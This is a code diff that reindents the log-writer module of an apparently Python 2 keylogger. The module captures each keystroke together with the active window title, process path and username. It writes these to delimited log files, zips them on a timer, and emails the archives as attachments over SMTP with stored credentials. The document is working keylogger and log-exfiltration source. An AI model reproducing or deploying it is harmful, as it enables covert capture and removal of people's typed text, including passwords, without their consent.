-		#~ self.queuetimer = mytimer.MyTimer(1, 1, self.start)
-		#~ self.queuetimer.start()
-
-		# initialize some automatic zip stuff
-		#self.settings['Zip']['ziparchivename'] = "log_[date].zip"
-		if self.settings['Zip']['Zip Enable'] == True:
-			self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles)
-			self.ziptimer.start()
-
-		# initialize the log rotation job
-		self.logrotatetimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Log Rotation Interval'])*60*60, 0, self.RotateLogs)
-		self.logrotatetimer.start()
+        # initialize the automatic zip and email timer, if enabled in .ini
+        if self.settings['E-mail']['SMTP Send Email'] == True:
+            self.emailtimer = mytimer.MyTimer(float(self.settings['E-mail']['Email Interval'])*60*60, 0, self.SendZipByEmail)
+            self.emailtimer.start()
+
+        # initialize automatic old log deletion timer
+        if self.settings['Log Maintenance']['Delete Old Logs'] == True:
+            self.oldlogtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Age Check Interval'])*60*60, 0, self.DeleteOldLogs)
+            self.oldlogtimer.start()
+
+        # initialize the automatic log flushing timer
+        self.flushtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer"])
+        self.flushtimer.start()
+
+        #~ # start the event queue processing
+        #~ self.queuetimer = mytimer.MyTimer(1, 1, self.start)
+        #~ self.queuetimer.start()
+
+        # initialize some automatic zip stuff
+        #self.settings['Zip']['ziparchivename'] = "log_[date].zip"
+        if self.settings['Zip']['Zip Enable'] == True:
+            self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles)
+            self.ziptimer.start()
+
+        # initialize the log rotation job
+        self.logrotatetimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Log Rotation Interval'])*60*60, 0, self.RotateLogs)
+        self.logrotatetimer.start()

-	def createLogger(self):
-
-		self.logger = logging.getLogger('logwriter')
-		self.logger.setLevel(logging.DEBUG)
-
-		# create the "debug" handler - output messages to the console, to stderr, if debug option is set
-		if self.cmdoptions.debug:
-			loglevel = logging.DEBUG
-		else:
-			loglevel = logging.WARN
-
-		consolehandler = logging.StreamHandler()
-		consolehandler.setLevel(loglevel)
-		formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
-		consolehandler.setFormatter(formatter)
-		self.logger.addHandler(consolehandler)
-
-		#~ logging.basicConfig(level=loglevel,
-					#~ format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
-		#~ self.logger = logging.getLogger('logwriter')
-
-		# now let's try the systemlog file logging.
-		# if systemlog option is set, always output the debug messages to systemlog
-
-		#first, make sure we have the directory where we want to log
-		try:
-			os.makedirs(self.settings['General']['Log Directory'], 0777)
-		except OSError, detail:
-			if(detail.errno==17):  #if directory already exists, swallow the error
-				pass
-			else:
-				#self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-				self.logger.error("error creating log directory", exc_info=sys.exc_info())
-		except:
-			#self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-			self.logger.error("error creating log directory", exc_info=sys.exc_info())
-
-		if self.settings['General']['System Log'] != 'None':
-			systemlogpath = os.path.join(self.settings['General']['Log Directory'], self.filter.sub(r'__',self.settings['General']['System Log']))
-			systemloghandler = logging.FileHandler(systemlogpath)
-			systemloghandler.setLevel(logging.DEBUG)
-			systemloghandler.setFormatter(formatter)
-			self.logger.addHandler(systemloghandler)
-
-		#~ self.writeTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], self.filter.sub(r'__',self.settings['General']['Log File'])))
+    def createLogger(self):
+
+        self.logger = logging.getLogger('logwriter')
+        self.logger.setLevel(logging.DEBUG)
+
+        # create the "debug" handler - output messages to the console, to stderr, if debug option is set
+        if self.cmdoptions.debug:
+            loglevel = logging.DEBUG
+        else:
+            loglevel = logging.WARN
+
+        consolehandler = logging.StreamHandler()
+        consolehandler.setLevel(loglevel)
+        formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
+        consolehandler.setFormatter(formatter)
+        self.logger.addHandler(consolehandler)
+
+        #~ logging.basicConfig(level=loglevel,
+                    #~ format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
+        #~ self.logger = logging.getLogger('logwriter')
+
+        # now let's try the systemlog file logging.
+        # if systemlog option is set, always output the debug messages to systemlog
+
+        #first, make sure we have the directory where we want to log
+        try:
+            os.makedirs(self.settings['General']['Log Directory'], 0777)
+        except OSError, detail:
+            if(detail.errno==17):  #if directory already exists, swallow the error
+                pass
+            else:
+                #self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+                self.logger.error("error creating log directory", exc_info=sys.exc_info())
+        except:
+            #self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+            self.logger.error("error creating log directory", exc_info=sys.exc_info())
+
+        if self.settings['General']['System Log'] != 'None':
+            systemlogpath = os.path.join(self.settings['General']['Log Directory'], self.filter.sub(r'__',self.settings['General']['System Log']))
+            systemloghandler = logging.FileHandler(systemlogpath)
+            systemloghandler.setLevel(logging.DEBUG)
+            systemloghandler.setFormatter(formatter)
+            self.logger.addHandler(systemloghandler)
+
+        #~ self.writeTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], self.filter.sub(r'__',self.settings['General']['Log File'])))

-	def run(self):
-		'''This is the main workhorse function.
-		Keeps popping events off the queue, and processing them, until program quits
-		'''
-		## line format:
-		## date; time (1 minute resolution); fullapppath; hwnd; username; window title; eventdata
-		##
-		## if we are logging keystroke count, that field becomes the penultimate field.
-		##
-		## event data: ascii if normal key, escaped if "special" key, escaped if csv separator
-		## self.processName = self.GetProcessNameFromHwnd(event.Window) #fullapppath
-		## hwnd = event.Window
-		## username = os.environ['USERNAME']
-		## date = time.strftime('%Y%m%d')
-		## time = time.strftime('%H%m') #is this correct? or format event.time probably...
-		## windowtitle = str(event.WindowName)
-
-		# Logic: put the line into a list, check if all contents (except for eventdata) are equal, if so, just append eventdata to existing eventdata. otherwise, write out the previous event list, and start a new one.
-		## on flush or on exit, make sure to write the latest dataline
-
-		#self.stopflag=False
-		self.eventlist = range(7) #initialize our eventlist to something.
-
-		if self.settings['General']['Log Key Count'] == True:
-			self.eventlist.append(7)
-
-		while not self.finished.isSet():
-			try:
-				event = self.q.get()
-
-				loggable = self.TestForNoLog(event)	 # see if the program is in the no-log list.
-				if not loggable:
-					if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n")
-					continue
-				if self.cmdoptions.debug: self.PrintDebug("loggable, lets log it. key: " + self.ParseEventValue(event))
-				loggable = self.OpenLogFile() #will return true if log file has been opened without problems
-				if not loggable:
-					self.PrintDebug("some error occurred when opening the log file. we cannot log this event. check systemlog (if specified) for details.\n")
-					continue
-
-				eventlisttmp = [time.strftime('%Y%m%d'),
-								time.strftime('%H%M'),
-								self.GetProcessNameFromHwnd(event.Window),
-								str(event.Window),
-								os.getenv('USERNAME'),
-								str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')]
-
-				if self.settings['General']['Log Key Count'] == True:
-					eventlisttmp = eventlisttmp + ['1',unicode(self.ParseEventValue(event), 'latin-1')]
-				else:
-					eventlisttmp.append(unicode(self.ParseEventValue(event), 'latin-1'))
-
-				if (self.eventlist[:6] == eventlisttmp[:6]) and (self.settings['General']['Limit Keylog Field Size'] == 0 or (len(self.eventlist[-1]) + len(eventlisttmp[-1])) < self.settings['General']['Limit Keylog Field Size']):
-					self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1]) #append char to log
-					if self.settings['General']['Log Key Count'] == True:
-						self.eventlist[-2] = str(int(self.eventlist[-2]) + 1) # increase stroke count
-				else:
-					self.WriteToLogFile() #write the eventlist to file, unless it's just the dummy list
-					self.eventlist = eventlisttmp
-			## don't need this with infinite timeout?
-			except Queue.Empty:
-				self.PrintDebug("\nempty queue...\n")
-				pass #let's keep iterating
-			except:
-				self.PrintDebug("some exception was caught in the logwriter loop...\nhere it is:\n", sys.exc_info())
-				pass #let's keep iterating
-
-		self.finished.set()
-
-	def ParseEventValue(self, event):
-		'''Pass the event ascii value through the requisite filters.
-		Returns the result as a string.
-		'''
-		npchrstr = self.settings['General']['Non-printing Character Representation']
-		npchrstr = re.sub('%keyname%', str(event.Key), npchrstr)
-		npchrstr = re.sub('%scancode%', str(event.ScanCode), npchrstr)
-		npchrstr = re.sub('%vkcode%', str(event.KeyID), npchrstr)
-
-		if chr(event.Ascii) == self.settings['General']['Log File Field Separator']:
-			return(npchrstr)
-
-		#translate backspace into text string, if option is set.
-		if event.Ascii == 8 and self.settings['General']['Parse Backspace'] == True:
-			return(npchrstr)
-
-		#translate escape into text string, if option is set.
-		if event.Ascii == 27 and self.settings['General']['Parse Escape'] == True:
-			return(npchrstr)
+    def run(self):
+        '''This is the main workhorse function.
+        Keeps popping events off the queue, and processing them, until program quits
+        '''
+        ## line format:
+        ## date; time (1 minute resolution); fullapppath; hwnd; username; window title; eventdata
+        ##
+        ## if we are logging keystroke count, that field becomes the penultimate field.
+        ##
+        ## event data: ascii if normal key, escaped if "special" key, escaped if csv separator
+        ## self.processName = self.GetProcessNameFromHwnd(event.Window) #fullapppath
+        ## hwnd = event.Window
+        ## username = os.environ['USERNAME']
+        ## date = time.strftime('%Y%m%d')
+        ## time = time.strftime('%H%m') #is this correct? or format event.time probably...
+        ## windowtitle = str(event.WindowName)
+
+        # Logic: put the line into a list, check if all contents (except for eventdata) are equal, if so, just append eventdata to existing eventdata. otherwise, write out the previous event list, and start a new one.
+        ## on flush or on exit, make sure to write the latest dataline
+
+        #self.stopflag=False
+        self.eventlist = range(7) #initialize our eventlist to something.
+
+        if self.settings['General']['Log Key Count'] == True:
+            self.eventlist.append(7)
+
+        while not self.finished.isSet():
+            try:
+                event = self.q.get()
+
+                loggable = self.TestForNoLog(event)     # see if the program is in the no-log list.
+                if not loggable:
+                    if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n")
+                    continue
+                if self.cmdoptions.debug: self.PrintDebug("loggable, lets log it. key: " + self.ParseEventValue(event))
+                loggable = self.OpenLogFile() #will return true if log file has been opened without problems
+                if not loggable:
+                    self.PrintDebug("some error occurred when opening the log file. we cannot log this event. check systemlog (if specified) for details.\n")
+                    continue
+
+                eventlisttmp = [time.strftime('%Y%m%d'),
+                                time.strftime('%H%M'),
+                                self.GetProcessNameFromHwnd(event.Window),
+                                str(event.Window),
+                                os.getenv('USERNAME'),
+                                str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')]
+
+                if self.settings['General']['Log Key Count'] == True:
+                    eventlisttmp = eventlisttmp + ['1',unicode(self.ParseEventValue(event), 'latin-1')]
+                else:
+                    eventlisttmp.append(unicode(self.ParseEventValue(event), 'latin-1'))
+
+                if (self.eventlist[:6] == eventlisttmp[:6]) and (self.settings['General']['Limit Keylog Field Size'] == 0 or (len(self.eventlist[-1]) + len(eventlisttmp[-1])) < self.settings['General']['Limit Keylog Field Size']):
+                    self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1]) #append char to log
+                    if self.settings['General']['Log Key Count'] == True:
+                        self.eventlist[-2] = str(int(self.eventlist[-2]) + 1) # increase stroke count
+                else:
+                    self.WriteToLogFile() #write the eventlist to file, unless it's just the dummy list
+                    self.eventlist = eventlisttmp
+            ## don't need this with infinite timeout?
+            except Queue.Empty:
+                self.PrintDebug("\nempty queue...\n")
+                pass #let's keep iterating
+            except:
+                self.PrintDebug("some exception was caught in the logwriter loop...\nhere it is:\n", sys.exc_info())
+                pass #let's keep iterating
+
+        self.finished.set()
+
+    def ParseEventValue(self, event):
+        '''Pass the event ascii value through the requisite filters.
+        Returns the result as a string.
+        '''
+        npchrstr = self.settings['General']['Non-printing Character Representation']
+        npchrstr = re.sub('%keyname%', str(event.Key), npchrstr)
+        npchrstr = re.sub('%scancode%', str(event.ScanCode), npchrstr)
+        npchrstr = re.sub('%vkcode%', str(event.KeyID), npchrstr)
+
+        if chr(event.Ascii) == self.settings['General']['Log File Field Separator']:
+            return(npchrstr)
+
+        #translate backspace into text string, if option is set.
+        if event.Ascii == 8 and self.settings['General']['Parse Backspace'] == True:
+            return(npchrstr)
+
+        #translate escape into text string, if option is set.
+        if event.Ascii == 27 and self.settings['General']['Parse Escape'] == True:
+            return(npchrstr)

-		# need to parse the returns, so as not to break up the delimited data lines
-		if event.Ascii == 13:
-			return(npchrstr)
-
-		#we translate all the special keys, such as arrows, backspace, into text strings for logging
-		#exclude shift keys, because they are already represented (as capital letters/symbols)
-		if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
-			#return('[KeyName:' + event.Key + ']')
-			return(npchrstr)
-
-		return(chr(event.Ascii))
-
-	def WriteToLogFile(self):
-		'''Write the latest eventlist to logfile in one delimited line
-		'''
-
-		if self.eventlist[:7] != range(7):
-			try:
-				line = unicode(self.settings['General']['Log File Field Separator'],'latin-1').join(self.eventlist) + "\n"
-				self.PrintStuff(line)
-			except:
-				self.PrintDebug(str(self.eventlist), sys.exc_info())
-				pass # let's keep going, even though this doesn't get logged...
-
+        # need to parse the returns, so as not to break up the delimited data lines
+        if event.Ascii == 13:
+            return(npchrstr)
+
+        #we translate all the special keys, such as arrows, backspace, into text strings for logging
+        #exclude shift keys, because they are already represented (as capital letters/symbols)
+        if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
+            #return('[KeyName:' + event.Key + ']')
+            return(npchrstr)
+
+        return(chr(event.Ascii))
+
+    def WriteToLogFile(self):
+        '''Write the latest eventlist to logfile in one delimited line
+        '''
+
+        if self.eventlist[:7] != range(7):
+            try:
+                line = unicode(self.settings['General']['Log File Field Separator'],'latin-1').join(self.eventlist) + "\n"
+                self.PrintStuff(line)
+            except:
+                self.PrintDebug(str(self.eventlist), sys.exc_info())
+                pass # let's keep going, even though this doesn't get logged...
+

-	def TestForNoLog(self, event):
-		'''This function returns False if the process name associated with an event
-		is listed in the noLog option, and True otherwise.'''
-
-		self.processName = self.GetProcessNameFromHwnd(event.Window)
-		if self.settings['General']['Applications Not Logged'] != 'None':
-			for path in self.settings['General']['Applications Not Logged'].split(';'):
-				if os.stat(path) == os.stat(self.processName):	#we use os.stat instead of comparing strings due to multiple possible representations of a path
-					return False
-		return True
+    def TestForNoLog(self, event):
+        '''This function returns False if the process name associated with an event
+        is listed in the noLog option, and True otherwise.'''
+
+        self.processName = self.GetProcessNameFromHwnd(event.Window)
+        if self.settings['General']['Applications Not Logged'] != 'None':
+            for path in self.settings['General']['Applications Not Logged'].split(';'):
+                if os.stat(path) == os.stat(self.processName):    #we use os.stat instead of comparing strings due to multiple possible representations of a path
+                    return False
+        return True

-	def FlushLogWriteBuffers(self, logstring=""):
-		'''Flush the output buffers and print a message to systemlog or stdout
-		'''
-		self.PrintDebug(logstring)
-		if self.log != None: self.log.flush()
-		#if self.settings['General']['System Log'] != 'None': self.systemlog.flush()
+    def FlushLogWriteBuffers(self, logstring=""):
+        '''Flush the output buffers and print a message to systemlog or stdout
+        '''
+        self.PrintDebug(logstring)
+        if self.log != None: self.log.flush()
+        #if self.settings['General']['System Log'] != 'None': self.systemlog.flush()

-	def ZipLogFiles(self):
-		'''Create a zip archive of all files in the log directory.
-
-		Create archive name of type "log_YYYYMMDD_HHMMSS.zip
-		'''
-		self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n")
-
-		# just in case we decide change the zip filename structure later, let's be flexible
-		zipFilePattern = "log_[date].zip"
-		zipFileTime = time.strftime("%Y%m%d_%H%M%S")
-		zipFileRawTime = time.time()
-		zipFileName = re.sub(r"\[date\]", zipFileTime, zipFilePattern)
-
-		# have to change to the dir so we dont get extra dir hierarchy in the zipfile
-		originalDir = os.getcwd()
-		os.chdir(self.settings['General']['Log Directory'])
-		myzip = zipfile.ZipFile(zipFileName, "w", zipfile.ZIP_DEFLATED)
-
-		for root, dirs, files in os.walk(os.curdir):
-			for fname in files:
-				#if fname != self.settings['ziparchivename']:
-				if not self.CheckIfZipFile(fname):
-					myzip.write(os.path.join(root,fname).split("\\",1)[1])
-
-		myzip.close()
-		myzip = zipfile.ZipFile(zipFileName, "r", zipfile.ZIP_DEFLATED)
-		if myzip.testzip() != None:
-			self.PrintDebug("Warning: Zipfile did not pass check.\n")
-		myzip.close()
-
-		# write the name of the last completed zip file
-		# so that we can check against this when emailing or ftping, to make sure
-		# we do not try to transfer a zipfile which is in the process of being created
-		ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w')
-		ziplog.write(zipFileName)
-		ziplog.close()
-
-		# chdir back
-		os.chdir(originalDir)
-
-		#now we can delete all the logs that have not been modified since we made the zip.
-		self.DeleteOldLogs(zipFileRawTime)
-
-	def CheckIfZipFile(self, filename):
-		'''Helper function for ZipLogFiles to make sure we don't include
-		old zips into zip files.'''
-		if re.match(r"^log_[0-9]{8}_[0-9]{6}\.zip$", filename) != None:
-			return True
-		else:
-			return False
-
-	def SendZipByEmail(self):
-		'''Send the zipped logfile archive by email, using mail settings specified in the .ini file
-		'''
-		# basic logic flow:
-		#~ if autozip is not enabled, just call the ziplogfiles function ourselves
-
-		#~ read ziplog.txt (in a try block) and check if it conforms to being a proper zip filename
-		#~ if not, then print error and get out
-
-		#~ in a try block, read emaillog.txt to get latest emailed zip, and check for proper filename
-			#~ if fail, just go ahead with sending all available zipfiles
-
-		#~ do a os.listdir() on the dirname, and trim it down to only contain our zipfiles
-			#~ and moreover, only zipfiles with names between lastemailed and latestzip, including latestzip,
-			#~ but not including lastemailed.
-
-		#~ send all the files in list
-
-		#~ write new lastemailed to emaillog.txt
-
-		self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
-
-		if self.settings['Zip']['Zip Enable'] == False or os.path.isfile(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt")) == False:
-			self.ZipLogFiles()
-
-		try:
-			ziplog = open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'r')
-			latestZipFile = ziplog.readline()
-			ziplog.close()
-			if not self.CheckIfZipFile(latestZipFile):
-				self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
-				return
-		except:
-			self.PrintDebug("Unexpected error opening ziplog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-			return
-
-		#~ if not self.CheckIfZipFile(latestZipFile):
-			#~ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
-			#~ return
-
-		try:
-			latestZipEmailed = "" #initialize to blank, just in case emaillog.txt doesn't get read
-			emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'r')
-			latestZipEmailed = emaillog.readline()
-			emaillog.close()
-			if not self.CheckIfZipFile(latestZipEmailed):
-				self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
-				return
-		except:
-			self.PrintDebug("Error opening emaillog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\nWill email all available log zips.\n")
-
-		zipFileList = os.listdir(self.settings['General']['Log Directory'])
-		self.PrintDebug(str(zipFileList))
-		if len(zipFileList) > 0:
-			# removing elements from a list while iterating over it produces undesirable results
-			# so we do the os.listdir again to iterate over
-			for filename in os.listdir(self.settings['General']['Log Directory']):
-				if not self.CheckIfZipFile(filename):
-					zipFileList.remove(filename)
-					self.PrintDebug("removing " + filename + " from zipfilelist because it's not a zipfile\n")
-				# we can do the following string comparison due to the structured and dated format of the filenames
-				elif filename <= latestZipEmailed or filename > latestZipFile:
-					zipFileList.remove(filename)
-					self.PrintDebug("removing " + filename + " from zipfilelist because it's not in range\n")
-
-		self.PrintDebug(str(zipFileList))
-
-		# set up the message
-		msg = MIMEMultipart()
-		msg['From'] = self.settings['E-mail']['SMTP From']
-		msg['To'] = COMMASPACE.join(self.settings['E-mail']['SMTP To'].split(";"))
-		msg['Date'] = formatdate(localtime=True)
-		msg['Subject'] = self.settings['E-mail']['SMTP Subject']
+    def ZipLogFiles(self):
+        '''Create a zip archive of all files in the log directory.
+
+        Create archive name of type "log_YYYYMMDD_HHMMSS.zip
+        '''
+        self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n")
+
+        # just in case we decide change the zip filename structure later, let's be flexible
+        zipFilePattern = "log_[date].zip"
+        zipFileTime = time.strftime("%Y%m%d_%H%M%S")
+        zipFileRawTime = time.time()
+        zipFileName = re.sub(r"\[date\]", zipFileTime, zipFilePattern)
+
+        # have to change to the dir so we dont get extra dir hierarchy in the zipfile
+        originalDir = os.getcwd()
+        os.chdir(self.settings['General']['Log Directory'])
+        myzip = zipfile.ZipFile(zipFileName, "w", zipfile.ZIP_DEFLATED)
+
+        for root, dirs, files in os.walk(os.curdir):
+            for fname in files:
+                #if fname != self.settings['ziparchivename']:
+                if not self.CheckIfZipFile(fname):
+                    myzip.write(os.path.join(root,fname).split("\\",1)[1])
+
+        myzip.close()
+        myzip = zipfile.ZipFile(zipFileName, "r", zipfile.ZIP_DEFLATED)
+        if myzip.testzip() != None:
+            self.PrintDebug("Warning: Zipfile did not pass check.\n")
+        myzip.close()
+
+        # write the name of the last completed zip file
+        # so that we can check against this when emailing or ftping, to make sure
+        # we do not try to transfer a zipfile which is in the process of being created
+        ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w')
+        ziplog.write(zipFileName)
+        ziplog.close()
+
+        # chdir back
+        os.chdir(originalDir)
+
+        #now we can delete all the logs that have not been modified since we made the zip.
+        self.DeleteOldLogs(zipFileRawTime)
+
+    def CheckIfZipFile(self, filename):
+        '''Helper function for ZipLogFiles to make sure we don't include
+        old zips into zip files.'''
+        if re.match(r"^log_[0-9]{8}_[0-9]{6}\.zip$", filename) != None:
+            return True
+        else:
+            return False
+
+    def SendZipByEmail(self):
+        '''Send the zipped logfile archive by email, using mail settings specified in the .ini file
+        '''
+        # basic logic flow:
+        #~ if autozip is not enabled, just call the ziplogfiles function ourselves
+
+        #~ read ziplog.txt (in a try block) and check if it conforms to being a proper zip filename
+        #~ if not, then print error and get out
+
+        #~ in a try block, read emaillog.txt to get latest emailed zip, and check for proper filename
+            #~ if fail, just go ahead with sending all available zipfiles
+
+        #~ do a os.listdir() on the dirname, and trim it down to only contain our zipfiles
+            #~ and moreover, only zipfiles with names between lastemailed and latestzip, including latestzip,
+            #~ but not including lastemailed.
+
+        #~ send all the files in list
+
+        #~ write new lastemailed to emaillog.txt
+
+        self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
+
+        if self.settings['Zip']['Zip Enable'] == False or os.path.isfile(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt")) == False:
+            self.ZipLogFiles()
+
+        try:
+            ziplog = open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'r')
+            latestZipFile = ziplog.readline()
+            ziplog.close()
+            if not self.CheckIfZipFile(latestZipFile):
+                self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+                return
+        except:
+            self.PrintDebug("Unexpected error opening ziplog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+            return
+
+        #~ if not self.CheckIfZipFile(latestZipFile):
+            #~ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+            #~ return
+
+        try:
+            latestZipEmailed = "" #initialize to blank, just in case emaillog.txt doesn't get read
+            emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'r')
+            latestZipEmailed = emaillog.readline()
+            emaillog.close()
+            if not self.CheckIfZipFile(latestZipEmailed):
+                self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+                return
+        except:
+            self.PrintDebug("Error opening emaillog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\nWill email all available log zips.\n")
+
+        zipFileList = os.listdir(self.settings['General']['Log Directory'])
+        self.PrintDebug(str(zipFileList))
+        if len(zipFileList) > 0:
+            # removing elements from a list while iterating over it produces undesirable results
+            # so we do the os.listdir again to iterate over
+            for filename in os.listdir(self.settings['General']['Log Directory']):
+                if not self.CheckIfZipFile(filename):
+                    zipFileList.remove(filename)
+                    self.PrintDebug("removing " + filename + " from zipfilelist because it's not a zipfile\n")
+                # we can do the following string comparison due to the structured and dated format of the filenames
+                elif filename <= latestZipEmailed or filename > latestZipFile:
+                    zipFileList.remove(filename)
+                    self.PrintDebug("removing " + filename + " from zipfilelist because it's not in range\n")
+
+        self.PrintDebug(str(zipFileList))
+
+        # set up the message
+        msg = MIMEMultipart()
+        msg['From'] = self.settings['E-mail']['SMTP From']
+        msg['To'] = COMMASPACE.join(self.settings['E-mail']['SMTP To'].split(";"))
+        msg['Date'] = formatdate(localtime=True)
+        msg['Subject'] = self.settings['E-mail']['SMTP Subject']

-		msg.attach( MIMEText(self.settings['E-mail']['SMTP Message Body']) )
+        msg.attach( MIMEText(self.settings['E-mail']['SMTP Message Body']) )

-		if len(zipFileList) == 0:
-			msg.attach( MIMEText("No new logs present.") )
+        if len(zipFileList) == 0:
+            msg.attach( MIMEText("No new logs present.") )

-		if len(zipFileList) > 0:
-			for file in zipFileList:
-				part = MIMEBase('application', "octet-stream")
-				part.set_payload( open(os.path.join(self.settings['General']['Log Directory'], file),"rb").read() )
-				Encoders.encode_base64(part)
-				part.add_header('Content-Disposition', 'attachment; filename="%s"'
-							   % os.path.basename(file))
-				msg.attach(part)
+        if len(zipFileList) > 0:
+            for file in zipFileList:
+                part = MIMEBase('application', "octet-stream")
+                part.set_payload( open(os.path.join(self.settings['General']['Log Directory'], file),"rb").read() )
+                Encoders.encode_base64(part)
+                part.add_header('Content-Disposition', 'attachment; filename="%s"'
+                               % os.path.basename(file))
+                msg.attach(part)

-		# set up the server and send the message
-		mysmtp = smtplib.SMTP(self.settings['E-mail']['SMTP Server'], self.settings['E-mail']['SMTP Port'])
-
-		if self.cmdoptions.debug:
-			mysmtp.set_debuglevel(1)
-		if self.settings['E-mail']['SMTP Use TLS'] == True:
-			# we find that we need to use two ehlos (one before and one after starttls)
-			# otherwise we get "SMTPException: SMTP AUTH extension not supported by server"
-			# thanks for this solution go to http://forums.belution.com/en/python/000/009/17.shtml
-			mysmtp.ehlo()
-			mysmtp.starttls()
-			mysmtp.ehlo()
-		if self.settings['E-mail']['SMTP Needs Login'] == True:
-			mysmtp.login(self.settings['E-mail']['SMTP Username'], myutils.password_recover(self.settings['E-mail']['SMTP Password']))
-		sendingresults = mysmtp.sendmail(self.settings['E-mail']['SMTP From'], self.settings['E-mail']['SMTP To'].split(";"), msg.as_string())
-		self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n")
-
-		# need to put the quit in a try, since TLS connections may error out due to bad implementation with
-		# socket.sslerror: (8, 'EOF occurred in violation of protocol')
-		# Most SSL servers and clients (primarily HTTP, but some SMTP as well) are broken in this regard:
-		# they do not properly negotiate TLS connection shutdown. This error is otherwise harmless.
-		# reference URLs:
-		# http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
-		# http://mail.python.org/pipermail/python-list/2005-August/338280.html
-		try:
-			mysmtp.quit()
-		except:
-			pass
-
-		# write the latest emailed zip to log for the future
-		if len(zipFileList) > 0:
-			zipFileList.sort()
-			emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'w')
-			emaillog.write(zipFileList.pop())
-			emaillog.close()
-
-	def OpenLogFile(self):
-		'''Open the appropriate log file, depending on event properties and settings in .ini file.
-		Now, we only need to open the one file delimited logfile
-		'''
-
-		# do stuff only if file is closed. if it is open, we don't have to do anything at all, just return true.
-		if self.log == None:
-			# Filter out any characters that are not allowed as a windows filename, just in case the user put them into the config file
-			self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
-			self.writeTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['Log File']))
-			try:
-				self.log = open(self.writeTarget, 'a')
-				self.PrintDebug("writing to: " + self.writeTarget)
-				return True
-			except OSError, detail:
-				if(detail.errno==17):  #if file already exists, swallow the error
-					pass
-				else:
-					self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-					return False
-			except:
-				self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-				return False
-		else:
-			return True
-
-	def PrintStuff(self, stuff):
-		'''Write stuff to log, or to debug outputs.
-		'''
-		if not self.cmdoptions.debug and self.log != None:
-			self.log.write(stuff)
-		if self.cmdoptions.debug:
-			self.PrintDebug(stuff)
+        # set up the server and send the message
+        mysmtp = smtplib.SMTP(self.settings['E-mail']['SMTP Server'], self.settings['E-mail']['SMTP Port'])
+
+        if self.cmdoptions.debug:
+            mysmtp.set_debuglevel(1)
+        if self.settings['E-mail']['SMTP Use TLS'] == True:
+            # we find that we need to use two ehlos (one before and one after starttls)
+            # otherwise we get "SMTPException: SMTP AUTH extension not supported by server"
+            # thanks for this solution go to http://forums.belution.com/en/python/000/009/17.shtml
+            mysmtp.ehlo()
+            mysmtp.starttls()
+            mysmtp.ehlo()
+        if self.settings['E-mail']['SMTP Needs Login'] == True:
+            mysmtp.login(self.settings['E-mail']['SMTP Username'], myutils.password_recover(self.settings['E-mail']['SMTP Password']))
